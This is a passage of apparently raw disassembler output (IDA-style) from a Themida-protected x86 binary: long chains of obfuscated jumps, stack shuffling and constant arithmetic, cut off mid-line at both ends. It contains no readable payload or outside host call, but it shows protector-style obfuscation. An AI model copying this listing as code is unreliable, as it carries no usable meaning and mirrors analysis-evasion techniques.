[esp+4+var_4] add esp, 4 jmp loc_59259A ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_596713: ; CODE XREF: sub_5916CB-5C06j mov ebp, eax jmp loc_597D45 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_59671A: ; CODE XREF: sub_590467-2251j sub edx, 6F356822h sub edx, 174149EFh push ebp mov ebp, 7BE50EC1h jmp loc_58DE71 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_596731: ; CODE XREF: sub_58C17E+2CC9j pop esi jmp loc_58D777 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_596737: ; CODE XREF: sub_58F5B5-42EBj pop esp jmp loc_596C87 ; --------------------------------------------------------------------------- loc_59673D: ; CODE XREF: sub_58F5B5-AACj or edx, eax shl edx, 1 push dword ptr [edi+24h] push ebp mov ebp, esp jmp loc_59161F ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_59674C: ; CODE XREF: sub_58C17E+1605j ; sub_5916CB:loc_5900F4j shl eax, 6 add eax, 35B55D95h jmp loc_58DA2D ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_596759: ; CODE XREF: Themida_:00591C7Aj mov edi, [esp] add esp, 4 push 2362h mov [esp], edi push eax mov eax, 6E17339h or eax, 522401FCh jnp loc_58F04D inc eax jz loc_59572E shl eax, 1 mov ch, 16h ; START OF FUNCTION CHUNK FOR sub_58C17E loc_596786: ; CODE XREF: sub_59762D-CE95j ; sub_58C17E+18B8j xor ebp, [esp+4+var_4] xor [esp+4+var_4], ebp xor ebp, [esp+4+var_4] pop esp rol dword ptr [esp+0], cl pushf jmp loc_5971BC ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_596799: ; CODE XREF: Themida_:0058F162j push edi mov edi, 685559B4h jmp loc_58EE6D ; --------------------------------------------------------------------------- loc_5967A4: ; CODE XREF: Themida_:0059511Ej mov ch, bh jmp loc_596E56 ; --------------------------------------------------------------------------- loc_5967AB: ; CODE XREF: Themida_:00597C80j mov ebp, [esp] add esp, 4 xor ecx, [esp] jmp loc_58A7C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5967BC: ; CODE XREF: sub_58C17E-1910j push ecx jmp loc_59216A ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5967C2: ; CODE XREF: sub_5916C4+1554j push ecx jmp loc_595602 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_5967C8: ; CODE XREF: sub_58F5B5-335Fj push 53FFh mov [esp-8+arg_4], ebx mov ebx, 4 and ecx, ebx push [esp-8+arg_4] pop ebx push ebp push 486Ch mov [esp+0], esp add dword ptr [esp+0], 4 mov ebp, [esp+0] jmp loc_58FCD4 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_5967F0: ; CODE XREF: Themida_:00591C99j mov ah, 34h xor ah, 0A5h jg loc_594EE4 inc ah jnz loc_58C803 shl ah, 3 jmp loc_58DCC0 ; --------------------------------------------------------------------------- sub ebp, 7E96BDFBh push esp loc_596812: ; CODE XREF: Themida_:00596E12j pop esp xor esi, [esp] xor [esp], esi jmp loc_58B051 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5936D6 loc_59681E: ; CODE XREF: sub_5936D6+2129j push eax mov eax, 0 add eax, ecx mov [eax], dh pop eax jmp loc_59538A ; END OF FUNCTION CHUNK FOR sub_5936D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_59682E: ; CODE XREF: sub_5916CB-3453j push eax mov eax, 5AD52A50h dec eax jo loc_594BAC neg eax jbe loc_58F2DF add eax, 0B13531EBh not eax shr eax, 1 inc eax dec eax mov al, bh loc_596850: ; CODE XREF: Themida_:0058BCBDj not edx jmp loc_593BD3 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_596857: ; CODE XREF: Themida_:0058D87Ej mov [esp], esp add dword ptr [esp], 4 jmp loc_58E1FB ; --------------------------------------------------------------------------- loc_596863: ; CODE XREF: Themida_:00596F56j jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_596868: ; CODE XREF: sub_5916C4-5133j push edx mov dh, 0D8h mov bh, dh pop edx sub esp, 4 mov [esp-14h+arg_10], edx mov dh, 0C8h jmp loc_592C12 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_59687B: ; CODE XREF: Themida_:00594640j mov bh, 2Ch add al, 0EFh sub al, bh sub al, 0EFh mov ebx, [esp] add esp, 4 sub al, bl jmp loc_593649 ; --------------------------------------------------------------------------- mov ax, [esp] push 31A3h mov [esp], eax push esp pop eax add eax, 4 push 3DF7h mov [esp], ebp jmp loc_593C38 ; --------------------------------------------------------------------------- loc_5968B3: ; CODE XREF: Themida_:00593538j xchg bl, dh not bl xchg bl, dh or dh, 1Dh shl dh, 1 jz loc_58C7C0 add dh, 0A8h jb loc_591256 push ecx push edx jmp loc_58D939 ; --------------------------------------------------------------------------- jmp loc_596F03 ; --------------------------------------------------------------------------- loc_5968D9: ; CODE XREF: Themida_:0058FA10j ; Themida_:00594FCDj shl dh, 3 shl dh, 3 jz loc_59479E shr dh, 4 jnz loc_59733B xor dh, 4Ch mov bh, dh pop edx neg bh shr bh, 1 mov ecx, ecx loc_5968FA: ; CODE XREF: Themida_:0058E4C6j xor ebx, 18BC5B2Fh jge loc_58D98E shr ebx, 5 jmp loc_5956D6 ; --------------------------------------------------------------------------- push edx jmp loc_58D38E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_598028 loc_596914: ; CODE XREF: sub_598028+3j mov [esp+4+var_4], edx push esi push edx push 6A5C0D21h jmp loc_591866 ; END OF FUNCTION CHUNK FOR sub_598028 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_596923: ; CODE XREF: sub_5EC2E8-5F7DBj jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5948B7 loc_596928: ; CODE XREF: sub_5948B7+23j add ebp, eax add ebp, 68B54411h pop eax push edx mov edx, 4 add ebp, 40476E9Ah add ebp, edx sub ebp, 40476E9Ah pop edx xchg ebp, [esp+4+var_4] mov esp, [esp+4+var_4] push 551Ch jmp loc_590E5C ; END OF FUNCTION CHUNK FOR sub_5948B7 ; --------------------------------------------------------------------------- mov edx, [esp] push edi mov edi, esp push 5156h mov [esp], edx jmp loc_58A350 ; --------------------------------------------------------------------------- loc_596969: ; CODE XREF: Themida_:0058A6AFj ; Themida_:00594561j push ebp mov ebp, 4C374FCFh add ebp, 0B3C8B035h add esi, ebp pop ebp jmp loc_596CB1 ; --------------------------------------------------------------------------- loc_59697D: ; CODE XREF: Themida_:0058EF94j mov ebp, 3A87527Eh add [esp+4], ebp jmp loc_59431A ; --------------------------------------------------------------------------- loc_59698B: ; CODE XREF: Themida_:005907B1j mov esi, esp jmp loc_58C6EC ; --------------------------------------------------------------------------- loc_596992: ; CODE XREF: Themida_:00591487j add ah, 4Bh jmp loc_5979A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_59699A: ; CODE XREF: sub_59524C-9339j push esi jmp loc_594FE9 ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- loc_5969A0: ; CODE XREF: Themida_:00594F82j xor esi, 0A4729D24h push 5B56h mov [esp], esi jmp loc_58B975 ; --------------------------------------------------------------------------- loc_5969B3: ; CODE XREF: Themida_:0058D3E3j push esi not dword ptr [esp] jmp loc_58C63B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_5969BC: ; CODE XREF: sub_58F5B5+8989j mov edi, [esp+0] add esp, 4 add esp, 4 sub esp, 4 mov [esp-4+arg_0], esi mov esi, 38D300Eh inc esi push 5D3Ah mov [esp+0], eax push esi push 27BA1453h jmp loc_58B92E ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_5969EA: ; CODE XREF: sub_5916CB-37F8j add ebx, ecx push [esp+4+var_4] mov ecx, [esp+8+var_8] add esp, 4 add esp, 4 jmp loc_597D1F ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_596A03: ; CODE XREF: Themida_:00597B3Ej mov [esp], ebp push 4 pop ebp add edi, ebp jmp loc_5909BF ; --------------------------------------------------------------------------- loc_596A13: ; CODE XREF: Themida_:005904CCj ; Themida_:005962ACj add ch, 4Dh mov bl, ch jmp loc_5908A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_596A1D: ; CODE XREF: sub_590467-50E9j push dx mov dl, 1Fh xor bh, dl pop dx push 48D3h jmp loc_5975AC ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp mov ebp, esp push esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], eax push edx mov edx, 3DE43D4Ah inc edx add edx, 0E79D1799h jmp loc_597123 ; --------------------------------------------------------------------------- loc_596A64: ; CODE XREF: Themida_:005914BEj pop edi pop ebx push ecx jmp loc_5966D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_596A6C: ; CODE XREF: sub_590467-124Dj and al, dh jmp loc_5907FE ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_596A73: ; CODE XREF: Themida_:0058EED8j ; Themida_:0058F0B2j pop ebx jmp loc_58F817 ; --------------------------------------------------------------------------- mov ax, [esp] push 7B82h jmp loc_592A1F ; --------------------------------------------------------------------------- loc_596A87: ; CODE XREF: Themida_:005972D6j pop esi jmp loc_592498 ; --------------------------------------------------------------------------- loc_596A8D: ; CODE XREF: Themida_:0058A426j mov ch, 0E3h jmp loc_593279 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_596A94: ; CODE XREF: sub_58C17E+6CA6j mov ecx, [esp+0] add esp, 4 xchg esi, [esp+0] mov esp, [esp+0] mov [esp+0], cx jmp loc_5937D7 ; --------------------------------------------------------------------------- loc_596AAC: ; CODE XREF: sub_58C17E+8717j pop edx jmp loc_58BDBD ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_596AB2: ; CODE XREF: Themida_:0058F6E9j xchg ebp, [esp] mov esp, [esp] push dword ptr [eax] jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_596ABF: ; CODE XREF: Themida_:0058F1E8j add ebp, 0C7350CFBh sub esi, ebp pop ebp sub esi, ecx jmp loc_58B82C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_596ACF: ; CODE XREF: sub_58F5B5+54F7j add ebp, 76162828h jmp loc_59593B ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_596ADA: ; CODE XREF: sub_590010+7EA3j jmp loc_595BE8 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_596ADF: ; CODE XREF: sub_5916C4-4295j push esi mov esi, 57BE1A7Dh jmp loc_58CDEC ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_596AEA: ; CODE XREF: Themida_:00596B8Dj add al, bl add al, 0B3h add al, 9Bh push ebx mov bh, 0B0h jmp loc_58A90F ; --------------------------------------------------------------------------- loc_596AF8: ; CODE XREF: Themida_:0058C79Dj mov ebp, 4 push edx mov edx, 2732694h xor edx, 235B08CEh push 40A8h mov [esp], ebp mov ebp, 78AD2AA6h or edx, ebp pop ebp neg edx or edx, 156C7135h add edx, 0A1007698h add ecx, edx pop edx jmp loc_58A54F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_596B2F: ; CODE XREF: sub_58B4D6+2A45j xor ebx, 4FF0D73h shr ebx, 4 not ebx add ebx, 148892A9h xor ebx, esi xor esi, ebx jmp loc_591970 ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- loc_596B49: ; CODE XREF: Themida_:00593DE8j add esp, 4 push edi push 44Ch mov [esp], ebp jmp loc_58EC58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_596B5D: ; CODE XREF: sub_58F5B5+137Ej mov esp, [esp+0Ch+var_C] mov [esp+0Ch+var_C], edi xor [esp+0Ch+var_C], offset word_4D744E mov esi, [esp+0Ch+var_C] add esp, 4 push edx mov edx, offset word_4D744E xor esi, edx mov edx, [esp+0Ch+var_C] add esp, 4 push ebx push edi jmp loc_597396 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_596B8B: ; CODE XREF: Themida_:00595765j sub al, 0B3h jmp loc_596AEA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_596B92: ; CODE XREF: sub_5EC2E8-5F41Ej mov eax, [esp+2Ch+var_2C] add esp, 4 xor edi, [esp+28h+var_28] xor [esp+28h+var_28], edi jmp loc_592A0C ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594654 loc_596BA6: ; CODE XREF: sub_594654-1E8Cj mov esi, 5E62039Ch add ebx, esi pop esi push edi mov edi, 6ED403E0h shr edi, 6 jmp loc_58A7F9 ; END OF FUNCTION CHUNK FOR sub_594654 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_596BBC: ; CODE XREF: sub_5916C4-3A01j pop ecx sub ebp, 30103AF3h add ebp, edx jmp loc_58A806 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_596BCA: ; CODE XREF: sub_58C17E+380Bj mov ebp, ebx jmp loc_58F572 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_596BD1: ; CODE XREF: Themida_:005944B7j sub eax, esi jmp loc_58A508 ; --------------------------------------------------------------------------- loc_596BD8: ; CODE XREF: Themida_:00594858j mov esi, 5D525905h add [esp+8], esi jmp loc_591966 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_596BE6: ; CODE XREF: sub_59762D-BDDEj mov ebx, 621874E6h add edx, ebx pop ebx push eax jmp loc_58CF15 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_596BF4: ; CODE XREF: sub_5EC2E8-59E84j add eax, 3EBB71EBh jmp loc_5960FD ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_596BFE: ; CODE XREF: sub_5916CB-654j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+8+var_8] pop esp jmp loc_592C84 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_596C13: ; CODE XREF: Themida_:0059800Aj pop eax dec dh not dh shl dh, 5 sub esp, 4 jmp loc_58E986 ; --------------------------------------------------------------------------- loc_596C26: ; CODE XREF: Themida_:005938EAj imul cx, ax push cx pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_596C32: ; CODE XREF: Themida_:0058F81Bj mov [esp], edi mov edi, 702A2A29h xor esi, edi pop edi sub esi, 0FFFFFFFFh sub esi, 52333FDFh jmp loc_597AC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_596C4E: ; CODE XREF: sub_5EC2E8-5F6B3j pop eax sub bh, 73h push cx mov cl, 1Fh xor bh, cl jmp loc_58EB86 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_596C5D: ; CODE XREF: Themida_:0059457Aj pop ax push small 49D4h mov [esp], ax push 11C7h mov [esp], ecx push edx jmp loc_596E26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592857 loc_596C75: ; CODE XREF: sub_592857-D5Aj push [esp+10h+var_10] pop ecx add esp, 4 push ebx mov ebx, 675C3153h jmp loc_58B2CF ; END OF FUNCTION CHUNK FOR sub_592857 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_596C87: ; CODE XREF: sub_58F5B5+7183j mov [esp+4+var_4], edx jmp loc_596D0E ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ecx jmp loc_58C8A1 ; =============== S U B R O U T I N E ======================================= sub_596CA1 proc near ; CODE XREF: sub_5EC2E8-57B03j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058A530 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0058C133 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058D34A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058EB3C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005923CB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00592F53 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00595934 SIZE 00000007 BYTES push ebx mov bl, 1Ch not bl jmp loc_592F53 sub_596CA1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_596CAB: ; CODE XREF: sub_590467-32D7j pop ecx jmp loc_58DA3B ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_596CB1: ; CODE XREF: Themida_:00596978j sub esi, 4 push 1F5h jmp loc_595D62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_596CC1: ; CODE XREF: sub_5916C4+6898j mov [esp-18h+arg_14], esi jmp loc_5943BF ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_596CC9: ; CODE XREF: sub_58C17E+467Bj pop edi push ebp mov ebp, 3F3F21CFh add ebp, 0D464851h xor ebp, 4C856A24h add edi, ebp mov ebp, [esp-0Eh+arg_8+2] add esp, 4 push ebx mov ebx, 4 jmp loc_58FC27 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E3A6 loc_596CEF: ; CODE XREF: sub_58E3A6+80F9j not ebp jmp loc_58FB66 ; END OF FUNCTION CHUNK FOR sub_58E3A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_596CF6: ; CODE XREF: sub_595258-8982j push edx push 0A5C0167h pop edx not edx jmp loc_592EC5 ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_596D04: ; CODE XREF: sub_5938B9-5947j mov esi, 75D17666h jmp loc_58AFF5 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_596D0E: ; CODE XREF: sub_58F5B5+76D5j push esp jmp loc_593165 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_596D1C: ; CODE XREF: Themida_:0058BEBBj xor ebx, [esp] pop esp mov [esp], esp jmp loc_591F22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595BDA loc_596D28: ; CODE XREF: sub_595BDA-AEDAj push 3185h mov [esp+0], eax jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_595BDA ; --------------------------------------------------------------------------- loc_596D35: ; CODE XREF: Themida_:0058ABD7j shr ebp, 1 jmp loc_59602D ; --------------------------------------------------------------------------- loc_596D3C: ; CODE XREF: Themida_:0058C185j mov cl, 68h sub cl, 0D4h mov dl, cl pop ecx xor cl, dl mov edx, [esp] jmp loc_591EFC ; --------------------------------------------------------------------------- loc_596D4E: ; CODE XREF: Themida_:0058D080j push esp mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add ebx, 4 push edi mov edi, 45FF1514h add edi, 4A244E96h jmp loc_5917E3 ; --------------------------------------------------------------------------- loc_596D79: ; CODE XREF: Themida_:00594863j sub ebp, 7579B725h add eax, ebp pop ebp add ebx, 49C54DB2h add ebx, 71D376C7h add ebx, eax sub ebx, 71D376C7h sub esp, 4 mov [esp], esi mov esi, 49C54DB2h jmp loc_593ADA ; --------------------------------------------------------------------------- loc_596DA9: ; CODE XREF: Themida_:0058A4B8j push esi mov esi, 27C343FCh jmp loc_595BE8 ; --------------------------------------------------------------------------- loc_596DB4: ; CODE XREF: Themida_:00593E6Aj pop edx pop edi jmp loc_590746 ; --------------------------------------------------------------------------- loc_596DBB: ; CODE XREF: Themida_:0058E014j pop dword ptr [esp] mov esp, [esp] add esp, 4 or [esp], eax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_596DCD: ; CODE XREF: Themida_:0059536Fj mov [esp], edx mov edx, 11C72BB5h jmp loc_597DF5 ; --------------------------------------------------------------------------- loc_596DDA: ; CODE XREF: Themida_:0059423Aj pop esp jmp loc_597176 ; --------------------------------------------------------------------------- mov ax, [esp] push esi jmp loc_58C4BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_596DEA: ; CODE XREF: sub_5916C4-4A12j mov [esp+2+var_4+2], eax push [esp+2+var_4+2] pop edi jmp loc_592B57 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_596DF6: ; CODE XREF: Themida_:0058B5B5j not eax inc eax sub eax, 0BD06D2B0h add esi, eax mov eax, [esp] push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_596812 ; --------------------------------------------------------------------------- loc_596E17: ; CODE XREF: Themida_:0058E59Bj mov dh, ah mov bh, dh pop edx pop ax xchg bh, [esp] jmp loc_58FD23 ; --------------------------------------------------------------------------- loc_596E26: ; CODE XREF: Themida_:00596C70j push eax mov ah, bh jmp loc_597762 ; --------------------------------------------------------------------------- loc_596E2E: ; CODE XREF: Themida_:0058BC2Aj pop edi or [edi+1Ch], esi push dword ptr [esp] jmp loc_597421 ; --------------------------------------------------------------------------- loc_596E3A: ; CODE XREF: Themida_:00590F9Bj pop edx add cl, 65h jmp loc_58B4E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_596E43: ; CODE XREF: sub_5938B9-3379j mov edi, 2 mov ebx, edi pop edi add edi, ebx pop ebx xor edi, [esp+0] jmp loc_58FD28 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_596E56: ; CODE XREF: Themida_:005967A6j mov ah, ch jmp loc_594571 ; --------------------------------------------------------------------------- loc_596E5D: ; CODE XREF: Themida_:0058DE9Aj shl eax, 5 neg eax shr eax, 2 xor eax, 3C267D0Ah sub ecx, 44DB1980h add ecx, eax add ecx, 44DB1980h jmp loc_5941C8 ; --------------------------------------------------------------------------- loc_596E7D: ; CODE XREF: Themida_:00594D9Dj neg dword ptr [esp] mov esi, [esp] jmp loc_597442 ; --------------------------------------------------------------------------- loc_596E88: ; CODE XREF: Themida_:00597EEBj sub dx, 9C46h add ax, dx pop edx sub dx, 147h sub dx, ax add dx, 147h pop eax add ax, 1C2Eh sub ax, 3C8Bh jmp loc_58CA47 ; --------------------------------------------------------------------------- loc_596EAC: ; CODE XREF: Themida_:00594586j mov [esp], dx push ebx mov bl, 53h jmp loc_58CF5D ; =============== S U B R O U T I N E ======================================= sub_596EB8 proc near ; CODE XREF: sub_594131-50A5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 005903C7 SIZE 00000064 BYTES push ebx mov ebx, 4 jmp loc_5903C7 sub_596EB8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_596EC3: ; CODE XREF: sub_5916CB+4FAEj mov ebx, 23A0077h add eax, ebx pop ebx sub eax, 1220BF9h add eax, ebp add eax, 1220BF9h push ebx mov ebx, 23A0077h sub eax, ebx pop ebx pop ebp mov ebx, eax jmp loc_58ADEC ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_596EE8: ; CODE XREF: sub_5916C4+5E81j pop ebx xor ebp, eax pop eax and eax, ebp mov ebp, [esp-6+arg_0+2] add esp, 4 push edx mov edx, 1Ch add edx, edi push dword ptr [edx] jmp loc_594C3C ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_596F03: ; CODE XREF: Themida_:005968D4j ; Themida_:0059746Dj push ebp jmp loc_5945EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_596F09: ; CODE XREF: Themida_:0058F911j ; sub_5938B9-39E5j mov edx, ebp pop ebp add edx, 1 jmp loc_58DCE7 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_596F17: ; CODE XREF: sub_58C17E+9B18j jno loc_58E5FA push edx mov dl, 0D7h add bl, dl pop edx add bl, 0E8h push ecx mov ax, word ptr [esp+6+var_8+2] push edi push esp push dword ptr [esp+0] pop edi add esp, 4 push ebp mov ebp, 4 add edi, ebp pop ebp push eax mov eax, 2 jmp loc_58B4E8 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_596F48: ; CODE XREF: Themida_:0058E0ECj pop eax add edx, 2 xchg edx, [esp] mov esp, [esp] sub [esp], al pushf jmp loc_596863 ; --------------------------------------------------------------------------- loc_596F5B: ; CODE XREF: Themida_:0058CA02j add esp, 4 push 0BF9h jmp loc_597D8C ; --------------------------------------------------------------------------- loc_596F6B: ; CODE XREF: Themida_:00596081j shl ecx, 1 xor ecx, 65C202F9h add ecx, 282E8A24h add edx, ecx jmp loc_58BC9F ; --------------------------------------------------------------------------- loc_596F80: ; CODE XREF: Themida_:00591EB0j pop eax jmp loc_592B28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_596F86: ; CODE XREF: sub_58F091-2A9Cj ; sub_58C17E+6DF0j xor ebx, 703859EDh shr ebx, 7 jnz loc_58C630 xor ebx, 6B84F12Bh jmp loc_58CBB7 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- mov ah, al loc_596FA2: ; CODE XREF: Themida_:005922DBj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 7C18h mov [esp], eax sub esp, 4 mov [esp], esp push esi mov esi, 4 jmp loc_591EAB ; --------------------------------------------------------------------------- mov cx, [esp] push eax mov eax, esp push 2DC1h mov [esp], ecx mov ecx, 4 add eax, ecx push dword ptr [esp] jmp loc_590D47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_596FEE: ; CODE XREF: sub_5EC2E8-573CBj mov al, 0D5h jmp loc_597F61 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_596FF5: ; CODE XREF: sub_5916C4-1566j xor eax, 663D227Ah add ecx, eax pop eax add ecx, 357F3E30h push 675Bh mov [esp+1Ah+var_1A], ebp mov ebp, 38213202h sub ebp, 0FFFFFFFFh sub ebp, 77496B4Eh push ecx push ebx mov ebx, 173129F2h neg ebx jnz loc_591573 shl ebx, 2 and ebx, 25C8004Ch mov dh, 51h loc_597037: ; CODE XREF: sub_5916C4-7E1j ; sub_595E21-4A9Dj pop ebx jmp loc_590A17 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_59703D: ; CODE XREF: sub_590467+7B7Fj sub edi, 0C0E3F7C9h jmp loc_58C413 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595655 loc_597048: ; CODE XREF: sub_595655+691j push esi mov esi, 64F611C8h push eax mov eax, 91E28D7h not eax jmp loc_58CA3D ; END OF FUNCTION CHUNK FOR sub_595655 ; --------------------------------------------------------------------------- loc_59705B: ; CODE XREF: Themida_:0058E81Bj add al, cl jmp loc_58AE3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594FD6 loc_597062: ; CODE 